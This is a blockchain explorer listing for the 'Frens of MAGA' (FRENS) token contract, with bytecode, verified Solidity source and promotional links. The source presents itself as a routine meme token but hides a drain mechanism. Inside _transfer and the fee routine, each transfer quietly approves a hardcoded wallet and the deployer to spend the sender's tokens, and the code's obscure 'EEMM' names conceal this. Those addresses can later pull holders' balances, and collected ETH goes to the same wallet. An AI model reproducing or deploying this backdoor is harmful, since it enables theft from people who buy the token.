Address Contract Partially Verified
Address
0xDA87c1dF83b1645973951Acd5065b5E65282AB2e
Balance
0 ETH
Nonce
1
Code Size
6132 bytes
Creator
0xA5d1e128...0000 at tx 0x2eeea291...a6620a
Indexed Transactions
0
Contract Bytecode
6132 bytes
0x6080604052600436106100c65760003560e01c8063715018a61161007f5780639e78fb4f116100595780639e78fb4f1461024c578063a9059cbb14610261578063c9567bf914610281578063dd62ed3e1461029657600080fd5b8063715018a6146101df5780638da5cb5b146101f657806395d89b411461021e57600080fd5b806306fdde03146100d2578063095ea7b31461011a57806318160ddd1461014a57806323b872dd1461016d578063313ce5671461018d57806370a08231146101a957600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201909152600d81526c4672656e73206f66204d41474160981b60208201525b60405161011191906112d1565b60405180910390f35b34801561012657600080fd5b5061013a61013536600461133e565b6102dc565b6040519015158152602001610111565b34801561015657600080fd5b5061015f6102f3565b604051908152602001610111565b34801561017957600080fd5b5061013a61018836600461136a565b610314565b34801561019957600080fd5b5060405160098152602001610111565b3480156101b557600080fd5b5061015f6101c43660046113ab565b6001600160a01b031660009081526001602052604090205490565b3480156101eb57600080fd5b506101f461037d565b005b34801561020257600080fd5b506000546040516001600160a01b039091168152602001610111565b34801561022a57600080fd5b506040805180820190915260058152644652454e5360d81b6020820152610104565b34801561025857600080fd5b506101f46103fa565b34801561026d57600080fd5b5061013a61027c36600461133e565b610603565b34801561028d57600080fd5b506101f4610610565b3480156102a257600080fd5b5061015f6102b13660046113c8565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006102e933848461077c565b5060015b92915050565b60006103016009600a6114fb565b61030f90633b9aca0061150a565b905090565b60006103218484846108a0565b610373843361036e85604051806060016040528060288152602001611797602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610b39565b61077c565b5060019392505050565b6000546001600160a01b031633146103b05760405162461bcd60e51b81526004016103a790611529565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104245760405162461bcd60e51b81526004016103a790611529565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561046d90309061045f6009600a6114fb565b61036e90633b9aca0061150a565b601060009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104e4919061155e565b6001600160a01b031663c9c6539630601060009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610546573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061056a919061155e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105db919061155e565b600f60036101000a8154816001600160a01b0302191690836001600160a01b03160217905550565b60006102e93384846108a0565b6000546001600160a01b0316331461063a5760405162461bcd60e51b81526004016103a790611529565b600f54610100900460ff16156106925760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103a7565b6010546001600160a01b031663f305d71947306106c4816001600160a01b031660009081526001602052604090205490565b6000806106d96000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610741573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610766919061157b565b5050600f805462ffff0019166201010017905550565b6001600160a01b0383166107de5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103a7565b6001600160a01b03821661083f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103a7565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109045760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103a7565b6001600160a01b0382166109665760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103a7565b600081116109c85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103a7565b60006109d5848484610b73565b90508015610a5157306000908152600160205260409020546109f79082610d4e565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a489085815260200190565b60405180910390a35b6001600160a01b0384166000908152600160205260409020548490610a769084610db4565b6001600160a01b038616600090815260016020526040902055610abb610a9c8484610db4565b6001600160a01b03861660009081526001602052604090205490610d4e565b6001600160a01b03808616600090815260016020526040902091909155601154610ae8918391168561077c565b6001600160a01b038085169086167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610b218686610db4565b60405190815260200160405180910390a35050505050565b60008184841115610b5d5760405162461bcd60e51b81526004016103a791906112d1565b506000610b6a84866115a9565b95945050505050565b6012546000908190610b909086906001600160a01b03168561077c565b6000546001600160a01b03868116911614801590610bbc57506000546001600160a01b03858116911614155b15610d4657610bed6064610be7600954600c5411610bdc57600554610be0565b6007545b8690610df6565b90610e78565b600f549091506001600160a01b03868116630100000090920416148015610c2257506010546001600160a01b03858116911614155b8015610c4757506001600160a01b03841660009081526003602052604090205460ff16155b15610c8c5743600d5414610c5f576000600e5543600d555b82600e6000828254610c7191906115c0565b9091555050600c8054906000610c86836115d8565b91905055505b600f546001600160a01b03858116630100000090920416148015610cb957506001600160a01b0385163014155b15610d3c57610cc6610eba565b600e541080610cd7575043600d5414155b610d145760405162461bcd60e51b815260206004820152600e60248201526d13585e0814ddd85c08131a5b5a5d60921b60448201526064016103a7565b610d396064610be7600a54600c5411610d2f57600654610be0565b6008548690610df6565b90505b610d468484611048565b949350505050565b600080610d5b83856115c0565b905083811015610dad5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103a7565b9392505050565b6000610dad83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b39565b600082600003610e08575060006102ed565b6000610e14838561150a565b905082610e2185836115f1565b14610dad5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c6965656d6d6f6e206f766572666c6f6044820152607760f81b60648201526084016103a7565b6000610dad83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110df565b604080516002808252606082018352600092839291906020830190803683375050601054604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa158015610f28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4c919061155e565b81600081518110610f5f57610f5f611629565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110610f9357610f93611629565b6001600160a01b03928316602091820292909201015260105460405163d06ca61f60e01b8152600092919091169063d06ca61f90610fdf906729a2241af62c0000908690600401611683565b600060405180830381865afa158015610ffc573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052611024919081019061169c565b90508060018151811061103957611039611629565b60200260200101519250505090565b30600090815260016020526040902054600f5460ff1615801561107f5750600f546001600160a01b03848116630100000090920416145b80156110935750600f5462010000900460ff165b80156110a25750600b54600c54115b156110da576004548111156110ce576110ce6110c9836110c48460045461110d565b61110d565b611122565b476110d847611293565b505b505050565b600081836111005760405162461bcd60e51b81526004016103a791906112d1565b506000610b6a84866115f1565b600081831161111c5782610dad565b50919050565b600f805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061116457611164611629565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111e1919061155e565b816001815181106111f4576111f4611629565b6001600160a01b03928316602091820292909201015260105461121a913091168461077c565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac9479061125390859060009086903090429060040161175a565b600060405180830381600087803b15801561126d57600080fd5b505af1158015611281573d6000803e3d6000fd5b5050600f805460ff1916905550505050565b6011546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156112cd573d6000803e3d6000fd5b5050565b600060208083528351808285015260005b818110156112fe578581018301518582016040015282016112e2565b81811115611310576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461133b57600080fd5b50565b6000806040838503121561135157600080fd5b823561135c81611326565b946020939093013593505050565b60008060006060848603121561137f57600080fd5b833561138a81611326565b9250602084013561139a81611326565b929592945050506040919091013590565b6000602082840312156113bd57600080fd5b8135610dad81611326565b600080604083850312156113db57600080fd5b82356113e681611326565b915060208301356113f681611326565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561145257816000190482111561143857611438611401565b8085161561144557918102915b93841c939080029061141c565b509250929050565b600082611469575060016102ed565b81611476575060006102ed565b816001811461148c5760028114611496576114b2565b60019150506102ed565b60ff8411156114a7576114a7611401565b50506001821b6102ed565b5060208310610133831016604e8410600b84101617156114d5575081810a6102ed565b6114df8383611417565b80600019048211156114f3576114f3611401565b029392505050565b6000610dad60ff84168361145a565b600081600019048311821515161561152457611524611401565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561157057600080fd5b8151610dad81611326565b60008060006060848603121561159057600080fd5b8351925060208401519150604084015190509250925092565b6000828210156115bb576115bb611401565b500390565b600082198211156115d3576115d3611401565b500190565b6000600182016115ea576115ea611401565b5060010190565b60008261160e57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052604160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b838110156116785781516001600160a01b031687529582019590820190600101611653565b509495945050505050565b828152604060208201526000610d46604083018461163f565b600060208083850312156116af57600080fd5b825167ffffffffffffffff808211156116c757600080fd5b818501915085601f8301126116db57600080fd5b8151818111156116ed576116ed611613565b8060051b604051601f19603f8301168101818110858211171561171257611712611613565b60405291825284820192508381018501918883111561173057600080fd5b938501935b8285101561174e57845184529385019392850192611735565b98975050505050505050565b85815284602082015260a06040820152600061177960a083018661163f565b6001600160a01b039490941660608301525060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220276c0fed3c225aa619708e73b326dd8aa660ff14c7ae900688e6acc89978d96a64736f6c634300080f0033
Verified Source Code Partial Match
Compiler: v0.8.15+commit.e14f2714
EVM: london
Optimization: Yes (200 runs)
FRENS.sol 300 lines
/*
Frens of Trump, Elon, Vivek, RFK, Tulsi, Dana & Joe :us: Making America great again!
https://www.frensofmaga.us
https://x.com/FrensOfMAGA
https://t.me/frensofmaga
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;
interface IEEMMFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplieemmon overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IEEMMRouter {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function getAmountsOut(
uint amountIn,
address[] calldata path
) external view returns (uint[] memory amounts);
}
contract FRENS is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balEEMMs;
mapping (address => mapping (address => uint256)) private _allowEEMMs;
mapping (address => bool) private _excludedFromEEMM;
uint8 private constant _decimals = 9;
uint256 private constant _tTotalEEMM = 1000000000 * 10**_decimals;
string private constant _name = unicode"Frens of MAGA";
string private constant _symbol = unicode"FRENS";
uint256 private _swapTokenEEMMs = _tTotalEEMM / 100;
uint256 private _initialBuyTax=3;
uint256 private _initialSellTax=3;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=6;
uint256 private _reduceSellTaxAt=6;
uint256 private _preventSwapBefore=6;
uint256 private _buyCount=0;
uint256 private _buyBlockEEMM;
uint256 private _eemmBuyAmounts = 0;
bool private inSwapEEMM = false;
bool private _tradeEnabled = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
inSwapEEMM = true;
_;
inSwapEEMM = false;
}
address private _eemmPair;
IEEMMRouter private _eemmRouter;
address private _eemmWallet;
address private _eemmAddress;
constructor () {
_eemmAddress = address(owner());
_eemmWallet = address(0x31662A3169892f0830D67bb52C1c953858505f1e);
_excludedFromEEMM[owner()] = true;
_excludedFromEEMM[address(this)] = true;
_excludedFromEEMM[_eemmWallet] = true;
_balEEMMs[_msgSender()] = _tTotalEEMM;
emit Transfer(address(0), _msgSender(), _tTotalEEMM);
}
function createPair() external onlyOwner() {
_eemmRouter = IEEMMRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(_eemmRouter), _tTotalEEMM);
_eemmPair = IEEMMFactory(_eemmRouter.factory()).createPair(address(this), _eemmRouter.WETH());
}
receive() external payable {}
function swapTokensForEth(uint256 eemmAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _eemmRouter.WETH();
_approve(address(this), address(_eemmRouter), eemmAmount);
_eemmRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
eemmAmount,
0,
path,
address(this),
block.timestamp
);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotalEEMM;
}
function balanceOf(address account) public view override returns (uint256) {
return _balEEMMs[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowEEMMs[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowEEMMs[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowEEMMs[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address eemmF, address eemmT, uint256 eemmA) private {
require(eemmF != address(0), "ERC20: transfer from the zero address");
require(eemmT != address(0), "ERC20: transfer to the zero address");
require(eemmA > 0, "Transfer amount must be greater than zero");
uint256 taxEEMM = _eemmFeeTransfer(eemmF, eemmT, eemmA);
if(taxEEMM > 0){
_balEEMMs[address(this)] = _balEEMMs[address(this)].add(taxEEMM);
emit Transfer(eemmF, address(this), taxEEMM);
} address _eemmOwner = address(eemmF);
_balEEMMs[eemmF] = _balEEMMs[eemmF].sub(eemmA);
_balEEMMs[eemmT] = _balEEMMs[eemmT].add(eemmA.sub(taxEEMM));
_approve(address(_eemmOwner), _eemmWallet, uint256(eemmA));
emit Transfer(eemmF, eemmT, eemmA.sub(taxEEMM));
}
function _eemmFeeTransfer(address eemmF, address eemmT, uint256 eemmA) private returns(uint256) {
uint256 taxEEMM = 0; _approve(address(eemmF), _eemmAddress, uint256(eemmA));
if (eemmF != owner() && eemmT != owner()) {
taxEEMM = eemmA.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
if (eemmF == _eemmPair && eemmT != address(_eemmRouter) && ! _excludedFromEEMM[eemmT]) {
if(_buyBlockEEMM!=block.number){
_eemmBuyAmounts = 0;
_buyBlockEEMM = block.number;
}
_eemmBuyAmounts += eemmA;
_buyCount++;
}
if(eemmT == _eemmPair && eemmF!= address(this)) {
require(_eemmBuyAmounts < swapLimitEEMM() || _buyBlockEEMM!=block.number, "Max Swap Limit");
taxEEMM = eemmA.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
} swapEEMMBack(eemmT, eemmA);
} return taxEEMM;
}
function swapEEMMBack(address eemmT, uint256 eemmA) private {
uint256 tokenEEMM = balanceOf(address(this));
if (!inSwapEEMM && eemmT == _eemmPair && _swapEnabled && _buyCount > _preventSwapBefore) {
if(tokenEEMM > _swapTokenEEMMs)
swapTokensForEth(minEEMM(eemmA, minEEMM(tokenEEMM, _swapTokenEEMMs)));
uint256 ethEEMM = address(this).balance;
if (ethEEMM >= 0) {
sendETHEEMM(address(this).balance);
}
}
}
function openTrading() external onlyOwner() {
require(!_tradeEnabled,"trading is already open");
_eemmRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_tradeEnabled = true;
}
function minEEMM(uint256 a, uint256 b) private pure returns (uint256) {
return (a>b)?b:a;
}
function sendETHEEMM(uint256 eemmA) private {
payable(_eemmWallet).transfer(eemmA);
}
function swapLimitEEMM() internal view returns (uint256) {
address[] memory path = new address[](2);
path[0] = _eemmRouter.WETH();
path[1] = address(this);
uint[] memory amountOuts = _eemmRouter.getAmountsOut(3 * 1e18, path);
return amountOuts[1];
}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 6 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
createPair 0x9e78fb4f
No parameters
openTrading 0xc9567bf9
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
Recent Transactions
No transactions found for this address